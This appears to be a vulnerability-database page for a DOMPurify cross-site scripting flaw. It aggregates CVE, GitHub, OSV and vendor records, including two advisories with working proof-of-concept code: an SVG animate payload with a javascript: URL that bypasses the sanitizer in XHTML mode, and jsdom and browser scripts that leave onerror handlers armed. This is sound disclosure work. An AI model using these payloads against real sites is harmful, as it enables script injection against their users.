Every CVE Search/ Get API key

CVE-2026-116802

DOMPurify before 3.4.17 XSS via SMIL attributeName Guard Bypass in XHTML Mode

5.1 MediumFix available

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Active

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
None

Exploit likelihood

0.22%Unchanged since Oct 27, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.1

DOMPurify before 3.4.17 XSS via SMIL attributeName Guard Bypass in XHTML Mode

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

Record
CVE-2026-116802
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-05
EUVDEUVD-2026-110510 5.1

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

Record
EUVD-2026-110510
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Updated
2026-11-05
GitHub AdvisoriesGHSA-g32m-chc6-3wqf 5.1

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to...

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

Record
GHSA-g32m-chc6-3wqf
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
GitHub AdvisoriesGHSA-mrv2-3pqr-j5jr 7.6

DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)

Summary

The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an IN_PLACE hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an <img onerror> that was already loading fires after sanitize() returns.

The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." That does not hold when the detached node is not the hook's own node.

Tested versions

  • 3.4.16 (latest) and main at 18f8f0e
  • also 3.4.15, 3.4.12 and 2.5.8

jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.

Details

src/purify.ts line 2134 (dist/purify.cjs.js line 2009 in 3.4.16), _handleHookDetachedNode():

if (currentNode === root || getParentNode(currentNode) !== null) {
  return false;
}
if (IN_PLACE) {
  _neutralizeSubtree(currentNode);
}

It only checks whether currentNode lost its parent. When a hook removes currentNode.parentNode (or any ancestor), currentNode still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in DOMPurify.removed, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.

PoC (jsdom)

const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) {
  const DOMPurify = createDOMPurify(win)
  doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
    '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
  const root = doc.getElementById('root')
  const evil = doc.getElementById('evil')

  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
  DOMPurify.addHook('afterSanitizeAttributes', (node) => {
    if (node.getAttribute && node.getAttribute('class') === 'bad') {
      if (mode === 'self') node.remove()
      if (mode === 'parent') node.parentNode.remove()
      if (mode === 'nextSibling') node.nextElementSibling.remove()
    }
  })

  DOMPurify.sanitize(root, { IN_PLACE: true })
  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}

Output on 3.4.16:

3.4.16 self        onerror = null
3.4.16 parent      onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"

In self mode the walker still reaches the second image and strips onerror. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes and afterSanitizeAttributes.

PoC (browser)

The same thing in a real page, served from 127.0.0.1 and opened in Chromium:

<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
  const D = DOMPurify(window);
  D.addHook('afterSanitizeAttributes', n => {
    if (n.getAttribute && n.getAttribute('class') === 'bad') {
      if (mode === 'parent') n.parentNode.remove();
      if (mode === 'self') n.remove();
    }
  });
  const root = document.createElement('div');
  document.body.appendChild(root);
  root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
  D.sanitize(root, { IN_PLACE: true });
  return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
 …
Record
GHSA-mrv2-3pqr-j5jr
CVSS 4.0
7.6 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-79, CWE-693
Updated
2026-11-02
GitHub AdvisoriesGHSA-c6gr-qvv4-5v3f No score

DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml

Summary

DOMPurify drops attributeName attributes whose value contains href, so an allowed <animate> or <set> can't rewrite a link's href after sanitizing. The check compares the attribute name after transformCaseFunc, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled attributeName, so the comparison with "attributename" never matches and the guard does nothing.

An app that uses PARSER_MEDIA_TYPE: 'application/xhtml+xml' and allows animate and attributeName will keep <animate attributeName="href" values="x;javascript:alert(1)">. Clicking the parent link then runs the script.

This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.

Details

In _sanitizeAttributes (dist/purify.js line 2216 in 3.4.16):

const lcName = transformCaseFunc(name);
...
if (lcName === "attributename" && stringMatch(value, "href")) {
  _removeAttribute(name, currentNode, attr);
  continue;
}

transformCaseFunc is stringToLowerCase for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name attributeName, so in XHTML mode lcName is attributeName and the branch never runs.

People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so ALLOWED_ATTR/ADD_ATTR: ['attributeName', ...] is the config you'd naturally write here.

The value also passes the URI check. IS_ALLOWED_URI only checks the start of the string, and x;javascript:alert(1) looks like a relative value. SMIL reads values as a ; list and, with fill="freeze", the last entry ends up as the effective href of the parent <a>.

In text/html mode the same allowlist is handled correctly. The name is lowercased and attributeName is removed.

This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.

Proof of concept

Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.

Config:

const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};

{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] } behaves the same.

Input:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>

Steps:

  1. Save this as poc.xhtml next to purify.js (3.4.16) and open it in Chrome. The .xhtml extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>
<script src="purify.js"></script></head><body><div id="sink"></div>
<script>//<![CDATA[
const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>';
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById('sink').innerHTML = clean;
//]]></script></body></html>
  1. The logged output still contains attributeName="href" and values="x;javascript:alert(1)".
  2. document.getElementById('q').href.animVal…
Record
GHSA-c6gr-qvv4-5v3f
Weakness
CWE-79
Updated
2026-11-02
NVD 5.1

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

Record
CVE-2026-116802
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-05
Show 50 moreShow less
OSV 5.1

DOMPurify before 3.4.17 XSS via SMIL attributeName Guard Bypass in XHTML Mode

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

Record
CVE-2026-116802
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-07
OSVDEBIAN-CVE-2026-116802 5.1

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

Record
DEBIAN-CVE-2026-116802
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-06
OSVGHSA-mrv2-3pqr-j5jr 7.6

DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)

Summary

The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an IN_PLACE hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an <img onerror> that was already loading fires after sanitize() returns.

The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." That does not hold when the detached node is not the hook's own node.

Tested versions

  • 3.4.16 (latest) and main at 18f8f0e
  • also 3.4.15, 3.4.12 and 2.5.8

jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.

Details

src/purify.ts line 2134 (dist/purify.cjs.js line 2009 in 3.4.16), _handleHookDetachedNode():

if (currentNode === root || getParentNode(currentNode) !== null) {
  return false;
}
if (IN_PLACE) {
  _neutralizeSubtree(currentNode);
}

It only checks whether currentNode lost its parent. When a hook removes currentNode.parentNode (or any ancestor), currentNode still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in DOMPurify.removed, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.

PoC (jsdom)

const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) {
  const DOMPurify = createDOMPurify(win)
  doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
    '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
  const root = doc.getElementById('root')
  const evil = doc.getElementById('evil')

  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
  DOMPurify.addHook('afterSanitizeAttributes', (node) => {
    if (node.getAttribute && node.getAttribute('class') === 'bad') {
      if (mode === 'self') node.remove()
      if (mode === 'parent') node.parentNode.remove()
      if (mode === 'nextSibling') node.nextElementSibling.remove()
    }
  })

  DOMPurify.sanitize(root, { IN_PLACE: true })
  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}

Output on 3.4.16:

3.4.16 self        onerror = null
3.4.16 parent      onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"

In self mode the walker still reaches the second image and strips onerror. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes and afterSanitizeAttributes.

PoC (browser)

The same thing in a real page, served from 127.0.0.1 and opened in Chromium:

<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
  const D = DOMPurify(window);
  D.addHook('afterSanitizeAttributes', n => {
    if (n.getAttribute && n.getAttribute('class') === 'bad') {
      if (mode === 'parent') n.parentNode.remove();
      if (mode === 'self') n.remove();
    }
  });
  const root = document.createElement('div');
  document.body.appendChild(root);
  root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
  D.sanitize(root, { IN_PLACE: true });
  return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
 …
Record
GHSA-mrv2-3pqr-j5jr
CVSS 4.0
7.6 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-693, CWE-79
Updated
2026-11-02
OSVROOT-APP-NPM-GHSA-mrv2-3pqr-j5jr 7.6

GHSA-mrv2-3pqr-j5jr in dompurify - Patched by Root

Root has patched GHSA-mrv2-3pqr-j5jr in the dompurify package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-GHSA-mrv2-3pqr-j5jr
CVSS 4.0
7.6 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-05
OSVUBUNTU-CVE-2026-116802 5.1

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

Record
UBUNTU-CVE-2026-116802
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
OSVCLSA-2026-1792929243 No score

TuxCare security update for dompurify (7 CVEs)

TuxCare rebuilt dompurify to address 7 CVEs. Fixed in 3.0.6-tuxcare.5.

Record
CLSA-2026-1792929243
Updated
2026-11-02
OSVCLSA-2026-1792929353 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.0.8-tuxcare.6.

Record
CLSA-2026-1792929353
Updated
2026-11-02
OSVCLSA-2026-1792929570 No score

TuxCare security update for dompurify (2 CVEs)

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 2.3.10-tuxcare.4.

Record
CLSA-2026-1792929570
Updated
2026-11-02
OSVCLSA-2026-1792929720 No score

TuxCare security update for dompurify (2 CVEs)

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 2.3.3-tuxcare.4.

Record
CLSA-2026-1792929720
Updated
2026-11-02
OSVCLSA-2026-1792929831 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.4.0-tuxcare.9.

Record
CLSA-2026-1792929831
Updated
2026-11-02
OSVCLSA-2026-1792929955 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.4.3-tuxcare.12.

Record
CLSA-2026-1792929955
Updated
2026-11-02
OSVCLSA-2026-1792930059 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.4.7-tuxcare.9.

Record
CLSA-2026-1792930059
Updated
2026-11-02
OSVCLSA-2026-1792930172 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.5.9-tuxcare.12.

Record
CLSA-2026-1792930172
Updated
2026-11-02
OSVCLSA-2026-1792930279 No score

TuxCare security update for dompurify (2 CVEs)

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.0.1-tuxcare.4.

Record
CLSA-2026-1792930279
Updated
2026-11-02
OSVCLSA-2026-1792930403 No score

TuxCare security update for dompurify (2 CVEs)

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.0.2-tuxcare.4.

Record
CLSA-2026-1792930403
Updated
2026-11-02
OSVCLSA-2026-1792930526 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.3-tuxcare.8.

Record
CLSA-2026-1792930526
Updated
2026-11-02
OSVCLSA-2026-1792930630 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.4-tuxcare.3.

Record
CLSA-2026-1792930630
Updated
2026-11-02
OSVCLSA-2026-1792930723 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.5-tuxcare.3.

Record
CLSA-2026-1792930723
Updated
2026-11-02
OSVCLSA-2026-1792930826 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.8-tuxcare.4.

Record
CLSA-2026-1792930826
Updated
2026-11-02
OSVCLSA-2026-1792930930 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.11-tuxcare.4.

Record
CLSA-2026-1792930930
Updated
2026-11-02
OSVCLSA-2026-1792931034 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.0-tuxcare.4.

Record
CLSA-2026-1792931034
Updated
2026-11-02
OSVCLSA-2026-1792931144 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.1-tuxcare.4.

Record
CLSA-2026-1792931144
Updated
2026-11-02
OSVCLSA-2026-1792931242 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.2-tuxcare.4.

Record
CLSA-2026-1792931242
Updated
2026-11-02
OSVCLSA-2026-1792931347 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.3-tuxcare.4.

Record
CLSA-2026-1792931347
Updated
2026-11-02
OSVCLSA-2026-1792931454 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.4-tuxcare.4.

Record
CLSA-2026-1792931454
Updated
2026-11-02
OSVCLSA-2026-1792931555 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.6-tuxcare.10.

Record
CLSA-2026-1792931555
Updated
2026-11-02
OSVCLSA-2026-1792931687 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.2.3-tuxcare.6.

Record
CLSA-2026-1792931687
Updated
2026-11-02
OSVCLSA-2026-1792931792 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.2.6-tuxcare.4.

Record
CLSA-2026-1792931792
Updated
2026-11-02
OSVCLSA-2026-1792931903 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.3.3-tuxcare.4.

Record
CLSA-2026-1792931903
Updated
2026-11-02
OSVCLSA-2026-1792932016 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.5-tuxcare.4.

Record
CLSA-2026-1792932016
Updated
2026-11-02
OSVCLSA-2026-1792932134 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.6-tuxcare.4.

Record
CLSA-2026-1792932134
Updated
2026-11-02
OSVCLSA-2026-1792932246 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.7-tuxcare.4.

Record
CLSA-2026-1792932246
Updated
2026-11-02
OSVCLSA-2026-1792932377 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.8-tuxcare.6.

Record
CLSA-2026-1792932377
Updated
2026-11-02
OSVCLSA-2026-1792932499 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.9-tuxcare.4.

Record
CLSA-2026-1792932499
Updated
2026-11-02
OSVCLSA-2026-1792932612 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.10-tuxcare.4.

Record
CLSA-2026-1792932612
Updated
2026-11-02
OSVCLSA-2026-1792932735 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.11-tuxcare.4.

Record
CLSA-2026-1792932735
Updated
2026-11-02
OSVCLSA-2026-1792932854 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.12-tuxcare.2.

Record
CLSA-2026-1792932854
Updated
2026-11-02
OSVCLSA-2026-1792932980 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.13-tuxcare.2.

Record
CLSA-2026-1792932980
Updated
2026-11-02
OSVCLSA-2026-1792933104 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.14-tuxcare.3.

Record
CLSA-2026-1792933104
Updated
2026-11-02
OSVCLSA-2026-1792933241 No score

TuxCare security update for dompurify (1 CVE)

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.15-tuxcare.2.

Record
CLSA-2026-1792933241
Updated
2026-11-02
OSVCLSA-2026-1792933812 No score

TuxCare security update for dompurify (2 CVEs)

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.2.7-tuxcare.6.

Record
CLSA-2026-1792933812
Updated
2026-11-02
OSVCLSA-2026-1792933945 No score

TuxCare security update for dompurify (12 CVEs)

TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.4.0-tuxcare.1.

Record
CLSA-2026-1792933945
Updated
2026-11-02
OSVCLSA-2026-1793100794 No score

TuxCare security update for dompurify (3 CVEs)

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.5-tuxcare.5.

Record
CLSA-2026-1793100794
Updated
2026-11-02
OSVCLSA-2026-1793100979 No score

TuxCare security update for dompurify (3 CVEs)

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.8-tuxcare.7.

Record
CLSA-2026-1793100979
Updated
2026-11-02
OSVCLSA-2026-1793101206 No score

TuxCare security update for dompurify (3 CVEs)

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.11-tuxcare.5.

Record
CLSA-2026-1793101206
Updated
2026-11-02
OSVCLSA-2026-1793101291 No score

TuxCare security update for dompurify (3 CVEs)

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.6-tuxcare.5.

Record
CLSA-2026-1793101291
Updated
2026-11-02
OSVCLSA-2026-1793101437 No score

TuxCare security update for dompurify (3 CVEs)

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.7-tuxcare.5.

Record
CLSA-2026-1793101437
Updated
2026-11-02
OSVCLSA-2026-1793101539 No score

TuxCare security update for dompurify (3 CVEs)

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.14-tuxcare.4.

Record
CLSA-2026-1793101539
Updated
2026-11-02
OSVCLSA-2026-1793101597 No score

TuxCare security update for dompurify (3 CVEs)

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.9-tuxcare.5.

Record
CLSA-2026-1793101597
Updated
2026-11-02
OSVCLSA-2026-1793101871 No score

TuxCare security update for dompurify (11 CVEs)

TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 3.0.5-tuxcare.4.

Record
CLSA-2026-1793101871
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
dompurify
npm
 through 3.4.16
3.4.17
dompurify
TuxCare:npm
From an advisory covering 5 CVEs
 3.0.6-tuxcare.0 up to 3.0.6-tuxcare.5, plus listed versions
3.0.63.0.6-tuxcare.13.0.6-tuxcare.23.0.6-tuxcare.33.0.6-tuxcare.4
3.0.6-tuxcare.5
dompurify
TuxCare:npm
 2.0.8-tuxcare.0 up to 2.0.8-tuxcare.6, plus listed versions
2.0.82.0.8-tuxcare.12.0.8-tuxcare.22.0.8-tuxcare.32.0.8-tuxcare.42.0.8-tuxcare.5
2.0.8-tuxcare.6
dompurify
TuxCare:npm
 2.3.10-tuxcare.0 up to 2.3.10-tuxcare.4, plus listed versions
2.3.102.3.10-tuxcare.12.3.10-tuxcare.22.3.10-tuxcare.3
2.3.10-tuxcare.4
dompurify
TuxCare:npm
 2.3.3-tuxcare.0 up to 2.3.3-tuxcare.4, plus listed versions
2.3.32.3.3-tuxcare.12.3.3-tuxcare.22.3.3-tuxcare.3
2.3.3-tuxcare.4
dompurify
TuxCare:npm
 2.4.0-tuxcare.0 up to 2.4.0-tuxcare.9, plus listed versions
2.4.02.4.0-tuxcare.12.4.0-tuxcare.22.4.0-tuxcare.32.4.0-tuxcare.4
Show 4 moreShow less
2.4.0-tuxcare.52.4.0-tuxcare.62.4.0-tuxcare.72.4.0-tuxcare.8
2.4.0-tuxcare.9
dompurify
TuxCare:npm
 2.4.3-tuxcare.0 up to 2.4.3-tuxcare.12, plus listed versions
2.4.32.4.3-tuxcare.12.4.3-tuxcare.102.4.3-tuxcare.112.4.3-tuxcare.2
Show 7 moreShow less
2.4.3-tuxcare.32.4.3-tuxcare.42.4.3-tuxcare.52.4.3-tuxcare.62.4.3-tuxcare.72.4.3-tuxcare.82.4.3-tuxcare.9
2.4.3-tuxcare.12
dompurify
TuxCare:npm
 2.4.7-tuxcare.0 up to 2.4.7-tuxcare.9, plus listed versions
2.4.72.4.7-tuxcare.12.4.7-tuxcare.22.4.7-tuxcare.32.4.7-tuxcare.4
Show 4 moreShow less
2.4.7-tuxcare.52.4.7-tuxcare.62.4.7-tuxcare.72.4.7-tuxcare.8
2.4.7-tuxcare.9
dompurify
TuxCare:npm
 2.5.9-tuxcare.0 up to 2.5.9-tuxcare.12, plus listed versions
2.5.92.5.9-tuxcare.12.5.9-tuxcare.102.5.9-tuxcare.112.5.9-tuxcare.2
Show 7 moreShow less
